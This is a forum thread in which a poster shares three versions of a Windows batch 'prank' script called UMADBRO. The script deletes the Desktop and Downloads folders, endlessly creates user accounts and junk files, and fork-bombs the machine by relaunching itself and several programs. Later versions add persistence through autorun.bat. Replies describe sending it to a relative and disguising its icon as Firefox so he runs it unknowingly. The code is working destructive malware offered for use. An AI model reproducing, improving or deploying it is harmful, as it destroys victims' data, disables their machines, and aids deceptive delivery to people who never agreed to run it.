I don't know if this would be considered a virus or not, but here it is:

Code:

@echo off
choice /n/t:c,30/c:cc > nul
ping localhost -t -l 65500 > nul
del %userprofile%/Desktop
del %userprofile%/Downloads
:umad
net user troll%random%%random%%random% /add
echo U MAD BRO? > %userprofile%/Desktop/%random%.%random%
start iexplore.exe
start explorer.exe
start cmd.exe
start mspaint.exe
start notepad.exe
goto umad

Yea, not exactly something good. It's on a time delay, too. 30 seconds to get the --- away from their computer.
And to those who DON'T know how to code batch, what it does is:

-Waits 30 seconds before continuing
-Lags internet to ---
-Deletes everything from the Desktop
-Deletes all downloads
-Spams extra user accounts
-Spams desktop with randomly generated documents, all saying "UMADBRO" inside
-Spams Windows applications

So, who wants to be the poor sap to try it out?
DOWNLOAD: Click Here!

Nice im going to send this to my cuz and see his reaction :

Shadow Star wrote:Nice im going to send this to my cuz and see his reaction :

It's probably gonna be something along the lines of:
"YOU --- PRICK I HOPE YOU GO --- DIE IN --- --- YOU --- PIECE OF ---!!!!1!!!!!!!11!!"
Maybe.



Oh, and a version for XP that amends itself into AUTORUN.bat, just remember that it needs to be put into
C:/
And JUST C:/, or else the autorun won't work.

UMADBRO V2:

Code:

@echo off
ping localhost -t -l 65500 > nul
del %userprofile%/Desktop
del %userprofile%/Downloads
:umad
net user troll%random%%random%%random% /add
echo U MAD BRO? > %userprofile%/Desktop/%random%.%random%
echo start UMADBRO.bat >> C:/autorun.bat
start UMADBRO.bat
start iexplore.exe
start explorer.exe
start cmd.exe
start mspaint.exe
start notepad.exe
goto umad

I'm a prick xD

Also, due to the nature of the forkbomb, their internet will also lag to --- as well, if they get to start up an Internet Browser.

EDIT:
Looks even better with the censors xD

HiM. wrote:

Shadow Star wrote:Nice im going to send this to my cuz and see his reaction :

It's probably gonna be something along the lines of:
"YOU --- PRICK I HOPE YOU GO --- DIE IN --- --- YOU --- PIECE OF ---!!!!1!!!!!!!11!!"
Maybe.



Oh, and a version for XP that amends itself into AUTORUN.bat, just remember that it needs to be put into
C:/
And JUST C:/, or else the autorun won't work.

UMADBRO V2:

Code:

@echo off
ping localhost -t -l 65500 > nul
del %userprofile%/Desktop
del %userprofile%/Downloads
:umad
net user troll%random%%random%%random% /add
echo U MAD BRO? > %userprofile%/Desktop/%random%.%random%
echo start UMADBRO.bat >> C:/autorun.bat
start UMADBRO.bat
start iexplore.exe
start explorer.exe
start cmd.exe
start mspaint.exe
start notepad.exe
goto umad

I'm a prick xD

Also, due to the nature of the forkbomb, their internet will also lag to --- as well, if they get to start up an Internet Browser.

EDIT:
Looks even better with the censors xD

LOL i just need to change the icon to firefox so when he opens the internet BAM! you mad bro cuz??

*Microsoft sam lamolade*

LMAO lool, this is quite funny HiM. haha.
Hmmm.... I should really start comming on the computer more.. But school has officially --- up my life :'(

v3:

Fixing up a few loose ends with the forkbomb.

V3:

Code:

@echo off
ping localhost -t -l 65500 > nul
del %userprofile%/Desktop
del %userprofile%/Downloads
:umad
net user troll%random%%random%%random% /add
echo U MAD BRO? > %userprofile%/Desktop/%random%.%random%
copy %cd%UMADBRO.bat C:/
echo start %cd%UMADBRO.bat >> C:/autorun.bat
start %cd%UMADBRO.bat
start iexplore.exe
start explorer.exe
start cmd.exe
start mspaint.exe
start notepad.exe
goto umad

Fixes it so that no matter where it is, it should run the forkbomb without problems.